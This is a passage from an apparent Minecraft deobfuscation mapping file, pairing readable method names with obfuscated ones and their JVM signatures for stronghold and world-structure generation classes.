net/minecraft/world/gen/structure/StructureStrongholdPieces$PortalRoom/func_74861_a (Lnet/minecraft/world/gen/structure/StructureComponent;Ljava/util/List;Ljava/util/Random;)V +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces$PortalRoom/writeStructureToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/StructureStrongholdPieces$PortalRoom/func_143012_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces$PortalRoom/func_175865_a (Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureStrongholdPieces$PortalRoom; net/minecraft/world/gen/structure/StructureStrongholdPieces$PortalRoom/func_175865_a (Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureStrongholdPieces$PortalRoom; +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces$PortalRoom/readStructureFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/StructureStrongholdPieces$PortalRoom/func_143011_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces$Prison/addComponentParts (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z net/minecraft/world/gen/structure/StructureStrongholdPieces$Prison/func_74875_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces$Prison/buildComponent (Lnet/minecraft/world/gen/structure/StructureComponent;Ljava/util/List;Ljava/util/Random;)V net/minecraft/world/gen/structure/StructureStrongholdPieces$Prison/func_74861_a (Lnet/minecraft/world/gen/structure/StructureComponent;Ljava/util/List;Ljava/util/Random;)V +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces$Prison/func_175860_a (Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureStrongholdPieces$Prison; net/minecraft/world/gen/structure/StructureStrongholdPieces$Prison/func_175860_a (Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureStrongholdPieces$Prison; +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces$RightTurn/addComponentParts (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z net/minecraft/world/gen/structure/StructureStrongholdPieces$RightTurn/func_74875_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces$RightTurn/buildComponent (Lnet/minecraft/world/gen/structure/StructureComponent;Ljava/util/List;Ljava/util/Random;)V net/minecraft/world/gen/structure/StructureStrongholdPieces$RightTurn/func_74861_a (Lnet/minecraft/world/gen/structure/StructureComponent;Ljava/util/List;Ljava/util/Random;)V +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces$RoomCrossing/addComponentParts (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z net/minecraft/world/gen/structure/StructureStrongholdPieces$RoomCrossing/func_74875_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces$RoomCrossing/buildComponent (Lnet/minecraft/world/gen/structure/StructureComponent;Ljava/util/List;Ljava/util/Random;)V net/minecraft/world/gen/structure/StructureStrongholdPieces$RoomCrossing/func_74861_a (Lnet/minecraft/world/gen/structure/StructureComponent;Ljava/util/List;Ljava/util/Random;)V +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces$RoomCrossing/writeStructureToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/StructureStrongholdPieces$RoomCrossing/func_143012_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces$RoomCrossing/func_175859_a (Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureStrongholdPieces$RoomCrossing; net/minecraft/world/gen/structure/StructureStrongholdPieces$RoomCrossing/func_175859_a (Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureStrongholdPieces$RoomCrossing; +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces$RoomCrossing/readStructureFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/StructureStrongholdPieces$RoomCrossing/func_143011_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces$Stones/selectBlocks (Ljava/util/Random;IIIZ)V net/minecraft/world/gen/structure/StructureStrongholdPieces$Stones/func_75062_a (Ljava/util/Random;IIIZ)V +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces$Stairs/addComponentParts (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z net/minecraft/world/gen/structure/StructureStrongholdPieces$Stairs/func_74875_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces$Stairs/buildComponent (Lnet/minecraft/world/gen/structure/StructureComponent;Ljava/util/List;Ljava/util/Random;)V net/minecraft/world/gen/structure/StructureStrongholdPieces$Stairs/func_74861_a (Lnet/minecraft/world/gen/structure/StructureComponent;Ljava/util/List;Ljava/util/Random;)V +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces$Stairs/writeStructureToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/StructureStrongholdPieces$Stairs/func_143012_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces$Stairs/func_175863_a (Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureStrongholdPieces$Stairs; net/minecraft/world/gen/structure/StructureStrongholdPieces$Stairs/func_175863_a (Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureStrongholdPieces$Stairs; +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces$Stairs/readStructureFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/StructureStrongholdPieces$Stairs/func_143011_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces$Stairs2/getBoundingBoxCenter ()Lnet/minecraft/util/BlockPos; net/minecraft/world/gen/structure/StructureStrongholdPieces$Stairs2/func_180776_a ()Lnet/minecraft/util/BlockPos; +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces$Straight/addComponentParts (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z net/minecraft/world/gen/structure/StructureStrongholdPieces$Straight/func_74875_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces$Straight/buildComponent (Lnet/minecraft/world/gen/structure/StructureComponent;Ljava/util/List;Ljava/util/Random;)V net/minecraft/world/gen/structure/StructureStrongholdPieces$Straight/func_74861_a (Lnet/minecraft/world/gen/structure/StructureComponent;Ljava/util/List;Ljava/util/Random;)V +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces$Straight/writeStructureToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/StructureStrongholdPieces$Straight/func_143012_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces$Straight/func_175862_a (Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureStrongholdPieces$Straight; net/minecraft/world/gen/structure/StructureStrongholdPieces$Straight/func_175862_a (Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureStrongholdPieces$Straight; +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces$Straight/readStructureFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/StructureStrongholdPieces$Straight/func_143011_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces$StairsStraight/addComponentParts (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z net/minecraft/world/gen/structure/StructureStrongholdPieces$StairsStraight/func_74875_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces$StairsStraight/buildComponent (Lnet/minecraft/world/gen/structure/StructureComponent;Ljava/util/List;Ljava/util/Random;)V net/minecraft/world/gen/structure/StructureStrongholdPieces$StairsStraight/func_74861_a (Lnet/minecraft/world/gen/structure/StructureComponent;Ljava/util/List;Ljava/util/Random;)V +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces$StairsStraight/func_175861_a (Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureStrongholdPieces$StairsStraight; net/minecraft/world/gen/structure/StructureStrongholdPieces$StairsStraight/func_175861_a (Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureStrongholdPieces$StairsStraight; +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces$Stronghold$Door/valueOf (Ljava/lang/String;)Lnet/minecraft/world/gen/structure/StructureStrongholdPieces$Stronghold$Door; net/minecraft/world/gen/structure/StructureStrongholdPieces$Stronghold$Door/valueOf (Ljava/lang/String;)Lnet/minecraft/world/gen/structure/StructureStrongholdPieces$Stronghold$Door; +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces$Stronghold$Door/values ()[Lnet/minecraft/world/gen/structure/StructureStrongholdPieces$Stronghold$Door; net/minecraft/world/gen/structure/StructureStrongholdPieces$Stronghold$Door/values ()[Lnet/minecraft/world/gen/structure/StructureStrongholdPieces$Stronghold$Door; +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces$Stronghold/placeDoor (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;Lnet/minecraft/world/gen/structure/StructureStrongholdPieces$Stronghold$Door;III)V net/minecraft/world/gen/structure/StructureStrongholdPieces$Stronghold/func_74990_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;Lnet/minecraft/world/gen/structure/StructureStrongholdPieces$Stronghold$Door;III)V +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces$Stronghold/canStrongholdGoDeeper (Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z net/minecraft/world/gen/structure/StructureStrongholdPieces$Stronghold/func_74991_a (Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces$Stronghold/getNextComponentNormal (Lnet/minecraft/world/gen/structure/StructureStrongholdPieces$Stairs2;Ljava/util/List;Ljava/util/Random;II)Lnet/minecraft/world/gen/structure/StructureComponent; net/minecraft/world/gen/structure/StructureStrongholdPieces$Stronghold/func_74986_a (Lnet/minecraft/world/gen/structure/StructureStrongholdPieces$Stairs2;Ljava/util/List;Ljava/util/Random;II)Lnet/minecraft/world/gen/structure/StructureComponent; +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces$Stronghold/writeStructureToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/StructureStrongholdPieces$Stronghold/func_143012_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces$Stronghold/getRandomDoor (Ljava/util/Random;)Lnet/minecraft/world/gen/structure/StructureStrongholdPieces$Stronghold$Door; net/minecraft/world/gen/structure/StructureStrongholdPieces$Stronghold/func_74988_a (Ljava/util/Random;)Lnet/minecraft/world/gen/structure/StructureStrongholdPieces$Stronghold$Door; +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces$Stronghold/getNextComponentX (Lnet/minecraft/world/gen/structure/StructureStrongholdPieces$Stairs2;Ljava/util/List;Ljava/util/Random;II)Lnet/minecraft/world/gen/structure/StructureComponent; net/minecraft/world/gen/structure/StructureStrongholdPieces$Stronghold/func_74989_b (Lnet/minecraft/world/gen/structure/StructureStrongholdPieces$Stairs2;Ljava/util/List;Ljava/util/Random;II)Lnet/minecraft/world/gen/structure/StructureComponent; +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces$Stronghold/readStructureFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/StructureStrongholdPieces$Stronghold/func_143011_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces$Stronghold/getNextComponentZ (Lnet/minecraft/world/gen/structure/StructureStrongholdPieces$Stairs2;Ljava/util/List;Ljava/util/Random;II)Lnet/minecraft/world/gen/structure/StructureComponent; net/minecraft/world/gen/structure/StructureStrongholdPieces$Stronghold/func_74987_c (Lnet/minecraft/world/gen/structure/StructureStrongholdPieces$Stairs2;Ljava/util/List;Ljava/util/Random;II)Lnet/minecraft/world/gen/structure/StructureComponent; +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces/registerStrongholdPieces ()V net/minecraft/world/gen/structure/StructureStrongholdPieces/func_143046_a ()V +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces/access$000 (Lnet/minecraft/world/gen/structure/StructureStrongholdPieces$Stairs2;Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureComponent; net/minecraft/world/gen/structure/StructureStrongholdPieces/access$000 (Lnet/minecraft/world/gen/structure/StructureStrongholdPieces$Stairs2;Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureComponent; +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces/access$102 (Ljava/lang/Class;)Ljava/lang/Class; net/minecraft/world/gen/structure/StructureStrongholdPieces/access$102 (Ljava/lang/Class;)Ljava/lang/Class; +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces/func_175954_a (Ljava/lang/Class;Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureStrongholdPieces$Stronghold; net/minecraft/world/gen/structure/StructureStrongholdPieces/func_175954_a (Ljava/lang/Class;Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureStrongholdPieces$Stronghold; +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces/prepareStructurePieces ()V net/minecraft/world/gen/structure/StructureStrongholdPieces/func_75198_a ()V +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces/func_175955_b (Lnet/minecraft/world/gen/structure/StructureStrongholdPieces$Stairs2;Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureStrongholdPieces$Stronghold; net/minecraft/world/gen/structure/StructureStrongholdPieces/func_175955_b (Lnet/minecraft/world/gen/structure/StructureStrongholdPieces$Stairs2;Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureStrongholdPieces$Stronghold; +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces/access$200 ()Lnet/minecraft/world/gen/structure/StructureStrongholdPieces$Stones; net/minecraft/world/gen/structure/StructureStrongholdPieces/access$200 ()Lnet/minecraft/world/gen/structure/StructureStrongholdPieces$Stones; +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces/func_175953_c (Lnet/minecraft/world/gen/structure/StructureStrongholdPieces$Stairs2;Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureComponent; net/minecraft/world/gen/structure/StructureStrongholdPieces/func_175953_c (Lnet/minecraft/world/gen/structure/StructureStrongholdPieces$Stairs2;Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureComponent; +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces/canAddStructurePieces ()Z net/minecraft/world/gen/structure/StructureStrongholdPieces/func_75202_c ()Z +MD: net/minecraft/world/gen/structure/MapGenStructure$1/call ()Ljava/lang/String; net/minecraft/world/gen/structure/MapGenStructure$1/call ()Ljava/lang/String; +MD: net/minecraft/world/gen/structure/MapGenStructure$1/call ()Ljava/lang/Object; net/minecraft/world/gen/structure/MapGenStructure$1/call ()Ljava/lang/Object; +MD: net/minecraft/world/gen/structure/MapGenStructure$2/call ()Ljava/lang/String; net/minecraft/world/gen/structure/MapGenStructure$2/call ()Ljava/lang/String; +MD: net/minecraft/world/gen/structure/MapGenStructure$2/call ()Ljava/lang/Object; net/minecraft/world/gen/structure/MapGenStructure$2/call ()Ljava/lang/Object; +MD: net/minecraft/world/gen/structure/MapGenStructure$3/call ()Ljava/lang/String; net/minecraft/world/gen/structure/MapGenStructure$3/call ()Ljava/lang/String; +MD: net/minecraft/world/gen/structure/MapGenStructure$3/call ()Ljava/lang/Object; net/minecraft/world/gen/structure/MapGenStructure$3/call ()Ljava/lang/Object; +MD: net/minecraft/world/gen/structure/MapGenStructure/getStructureName ()Ljava/lang/String; net/minecraft/world/gen/structure/MapGenStructure/func_143025_a ()Ljava/lang/String; +MD: net/minecraft/world/gen/structure/MapGenStructure/canSpawnStructureAtCoords (II)Z net/minecraft/world/gen/structure/MapGenStructure/func_75047_a (II)Z +MD: net/minecraft/world/gen/structure/MapGenStructure/setStructureStart (IILnet/minecraft/world/gen/structure/StructureStart;)V net/minecraft/world/gen/structure/MapGenStructure/func_143026_a (IILnet/minecraft/world/gen/structure/StructureStart;)V +MD: net/minecraft/world/gen/structure/MapGenStructure/initializeStructureData (Lnet/minecraft/world/World;)V net/minecraft/world/gen/structure/MapGenStructure/func_143027_a (Lnet/minecraft/world/World;)V +MD: net/minecraft/world/gen/structure/MapGenStructure/recursiveGenerate (Lnet/minecraft/world/World;IIIILnet/minecraft/world/chunk/ChunkPrimer;)V net/minecraft/world/gen/structure/MapGenStructure/func_180701_a (Lnet/minecraft/world/World;IIIILnet/minecraft/world/chunk/ChunkPrimer;)V +MD: net/minecraft/world/gen/structure/MapGenStructure/isPositionInStructure (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z net/minecraft/world/gen/structure/MapGenStructure/func_175796_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/world/gen/structure/MapGenStructure/generateStructure (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/ChunkCoordIntPair;)Z net/minecraft/world/gen/structure/MapGenStructure/func_175794_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/ChunkCoordIntPair;)Z +MD: net/minecraft/world/gen/structure/MapGenStructure/getStructureStart (II)Lnet/minecraft/world/gen/structure/StructureStart; net/minecraft/world/gen/structure/MapGenStructure/func_75049_b (II)Lnet/minecraft/world/gen/structure/StructureStart; +MD: net/minecraft/world/gen/structure/MapGenStructure/getClosestStrongholdPos (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/util/BlockPos; net/minecraft/world/gen/structure/MapGenStructure/func_180706_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/util/BlockPos; +MD: net/minecraft/world/gen/structure/MapGenStructure/func_175795_b (Lnet/minecraft/util/BlockPos;)Z net/minecraft/world/gen/structure/MapGenStructure/func_175795_b (Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/world/gen/structure/MapGenStructure/func_175797_c (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/world/gen/structure/StructureStart; net/minecraft/world/gen/structure/MapGenStructure/func_175797_c (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/world/gen/structure/StructureStart; +MD: net/minecraft/world/gen/structure/MapGenStructure/getCoordList ()Ljava/util/List; net/minecraft/world/gen/structure/MapGenStructure/func_75052_o_ ()Ljava/util/List; +MD: net/minecraft/world/gen/structure/MapGenStructureIO/getStructureComponentName (Lnet/minecraft/world/gen/structure/StructureComponent;)Ljava/lang/String; net/minecraft/world/gen/structure/MapGenStructureIO/func_143036_a (Lnet/minecraft/world/gen/structure/StructureComponent;)Ljava/lang/String; +MD: net/minecraft/world/gen/structure/MapGenStructureIO/getStructureStartName (Lnet/minecraft/world/gen/structure/StructureStart;)Ljava/lang/String; net/minecraft/world/gen/structure/MapGenStructureIO/func_143033_a (Lnet/minecraft/world/gen/structure/StructureStart;)Ljava/lang/String; +MD: net/minecraft/world/gen/structure/MapGenStructureIO/getStructureStart (Lnet/minecraft/nbt/NBTTagCompound;Lnet/minecraft/world/World;)Lnet/minecraft/world/gen/structure/StructureStart; net/minecraft/world/gen/structure/MapGenStructureIO/func_143035_a (Lnet/minecraft/nbt/NBTTagCompound;Lnet/minecraft/world/World;)Lnet/minecraft/world/gen/structure/StructureStart; +MD: net/minecraft/world/gen/structure/MapGenStructureIO/registerStructureComponent (Ljava/lang/Class;Ljava/lang/String;)V net/minecraft/world/gen/structure/MapGenStructureIO/func_143031_a (Ljava/lang/Class;Ljava/lang/String;)V +MD: net/minecraft/world/gen/structure/MapGenStructureIO/getStructureComponent (Lnet/minecraft/nbt/NBTTagCompound;Lnet/minecraft/world/World;)Lnet/minecraft/world/gen/structure/StructureComponent; net/minecraft/world/gen/structure/MapGenStructureIO/func_143032_b (Lnet/minecraft/nbt/NBTTagCompound;Lnet/minecraft/world/World;)Lnet/minecraft/world/gen/structure/StructureComponent; +MD: net/minecraft/world/gen/structure/MapGenStructureIO/registerStructure (Ljava/lang/Class;Ljava/lang/String;)V net/minecraft/world/gen/structure/MapGenStructureIO/func_143034_b (Ljava/lang/Class;Ljava/lang/String;)V +MD: net/minecraft/world/gen/structure/MapGenStructureData/getTagCompound ()Lnet/minecraft/nbt/NBTTagCompound; net/minecraft/world/gen/structure/MapGenStructureData/func_143041_a ()Lnet/minecraft/nbt/NBTTagCompound; +MD: net/minecraft/world/gen/structure/MapGenStructureData/readFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/MapGenStructureData/func_76184_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/MapGenStructureData/writeInstance (Lnet/minecraft/nbt/NBTTagCompound;II)V net/minecraft/world/gen/structure/MapGenStructureData/func_143043_a (Lnet/minecraft/nbt/NBTTagCompound;II)V +MD: net/minecraft/world/gen/structure/MapGenStructureData/formatChunkCoords (II)Ljava/lang/String; net/minecraft/world/gen/structure/MapGenStructureData/func_143042_b (II)Ljava/lang/String; +MD: net/minecraft/world/gen/structure/MapGenStructureData/writeToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/MapGenStructureData/func_76187_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/StructureComponent$BlockSelector/getBlockState ()Lnet/minecraft/block/state/IBlockState; net/minecraft/world/gen/structure/StructureComponent$BlockSelector/func_180780_a ()Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/world/gen/structure/StructureComponent$BlockSelector/selectBlocks (Ljava/util/Random;IIIZ)V net/minecraft/world/gen/structure/StructureComponent$BlockSelector/func_75062_a (Ljava/util/Random;IIIZ)V +MD: net/minecraft/world/gen/structure/StructureComponent/getBoundingBoxCenter ()Lnet/minecraft/util/BlockPos; net/minecraft/world/gen/structure/StructureComponent/func_180776_a ()Lnet/minecraft/util/BlockPos; +MD: net/minecraft/world/gen/structure/StructureComponent/getXWithOffset (II)I net/minecraft/world/gen/structure/StructureComponent/func_74865_a (II)I +MD: net/minecraft/world/gen/structure/StructureComponent/func_181138_a (III)V net/minecraft/world/gen/structure/StructureComponent/func_181138_a (III)V +MD: net/minecraft/world/gen/structure/StructureComponent/getBlockStateFromPos (Lnet/minecraft/world/World;IIILnet/minecraft/world/gen/structure/StructureBoundingBox;)Lnet/minecraft/block/state/IBlockState; net/minecraft/world/gen/structure/StructureComponent/func_175807_a (Lnet/minecraft/world/World;IIILnet/minecraft/world/gen/structure/StructureBoundingBox;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/world/gen/structure/StructureComponent/setBlockState (Lnet/minecraft/world/World;Lnet/minecraft/block/state/IBlockState;IIILnet/minecraft/world/gen/structure/StructureBoundingBox;)V net/minecraft/world/gen/structure/StructureComponent/func_175811_a (Lnet/minecraft/world/World;Lnet/minecraft/block/state/IBlockState;IIILnet/minecraft/world/gen/structure/StructureBoundingBox;)V +MD: net/minecraft/world/gen/structure/StructureComponent/isLiquidInStructureBoundingBox (Lnet/minecraft/world/World;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z net/minecraft/world/gen/structure/StructureComponent/func_74860_a (Lnet/minecraft/world/World;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z +MD: net/minecraft/world/gen/structure/StructureComponent/fillWithAir (Lnet/minecraft/world/World;Lnet/minecraft/world/gen/structure/StructureBoundingBox;IIIIII)V net/minecraft/world/gen/structure/StructureComponent/func_74878_a (Lnet/minecraft/world/World;Lnet/minecraft/world/gen/structure/StructureBoundingBox;IIIIII)V +MD: net/minecraft/world/gen/structure/StructureComponent/fillWithBlocks (Lnet/minecraft/world/World;Lnet/minecraft/world/gen/structure/StructureBoundingBox;IIIIIILnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/state/IBlockState;Z)V net/minecraft/world/gen/structure/StructureComponent/func_175804_a (Lnet/minecraft/world/World;Lnet/minecraft/world/gen/structure/StructureBoundingBox;IIIIIILnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/state/IBlockState;Z)V +MD: net/minecraft/world/gen/structure/StructureComponent/randomlyRareFillWithBlocks (Lnet/minecraft/world/World;Lnet/minecraft/world/gen/structure/StructureBoundingBox;IIIIIILnet/minecraft/block/state/IBlockState;Z)V net/minecraft/world/gen/structure/StructureComponent/func_180777_a (Lnet/minecraft/world/World;Lnet/minecraft/world/gen/structure/StructureBoundingBox;IIIIIILnet/minecraft/block/state/IBlockState;Z)V +MD: net/minecraft/world/gen/structure/StructureComponent/fillWithRandomizedBlocks (Lnet/minecraft/world/World;Lnet/minecraft/world/gen/structure/StructureBoundingBox;IIIIIIZLjava/util/Random;Lnet/minecraft/world/gen/structure/StructureComponent$BlockSelector;)V net/minecraft/world/gen/structure/StructureComponent/func_74882_a (Lnet/minecraft/world/World;Lnet/minecraft/world/gen/structure/StructureBoundingBox;IIIIIIZLjava/util/Random;Lnet/minecraft/world/gen/structure/StructureComponent$BlockSelector;)V +MD: net/minecraft/world/gen/structure/StructureComponent/func_175805_a (Lnet/minecraft/world/World;Lnet/minecraft/world/gen/structure/StructureBoundingBox;Ljava/util/Random;FIIIIIILnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/state/IBlockState;Z)V net/minecraft/world/gen/structure/StructureComponent/func_175805_a (Lnet/minecraft/world/World;Lnet/minecraft/world/gen/structure/StructureBoundingBox;Ljava/util/Random;FIIIIIILnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/state/IBlockState;Z)V +MD: net/minecraft/world/gen/structure/StructureComponent/randomlyPlaceBlock (Lnet/minecraft/world/World;Lnet/minecraft/world/gen/structure/StructureBoundingBox;Ljava/util/Random;FIIILnet/minecraft/block/state/IBlockState;)V net/minecraft/world/gen/structure/StructureComponent/func_175809_a (Lnet/minecraft/world/World;Lnet/minecraft/world/gen/structure/StructureBoundingBox;Ljava/util/Random;FIIILnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/world/gen/structure/StructureComponent/generateDispenserContents (Lnet/minecraft/world/World;Lnet/minecraft/world/gen/structure/StructureBoundingBox;Ljava/util/Random;IIIILjava/util/List;I)Z net/minecraft/world/gen/structure/StructureComponent/func_175806_a (Lnet/minecraft/world/World;Lnet/minecraft/world/gen/structure/StructureBoundingBox;Ljava/util/Random;IIIILjava/util/List;I)Z +MD: net/minecraft/world/gen/structure/StructureComponent/placeDoorCurrentPosition (Lnet/minecraft/world/World;Lnet/minecraft/world/gen/structure/StructureBoundingBox;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;)V net/minecraft/world/gen/structure/StructureComponent/func_175810_a (Lnet/minecraft/world/World;Lnet/minecraft/world/gen/structure/StructureBoundingBox;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;)V +MD: net/minecraft/world/gen/structure/StructureComponent/generateChestContents (Lnet/minecraft/world/World;Lnet/minecraft/world/gen/structure/StructureBoundingBox;Ljava/util/Random;IIILjava/util/List;I)Z net/minecraft/world/gen/structure/StructureComponent/func_180778_a (Lnet/minecraft/world/World;Lnet/minecraft/world/gen/structure/StructureBoundingBox;Ljava/util/Random;IIILjava/util/List;I)Z +MD: 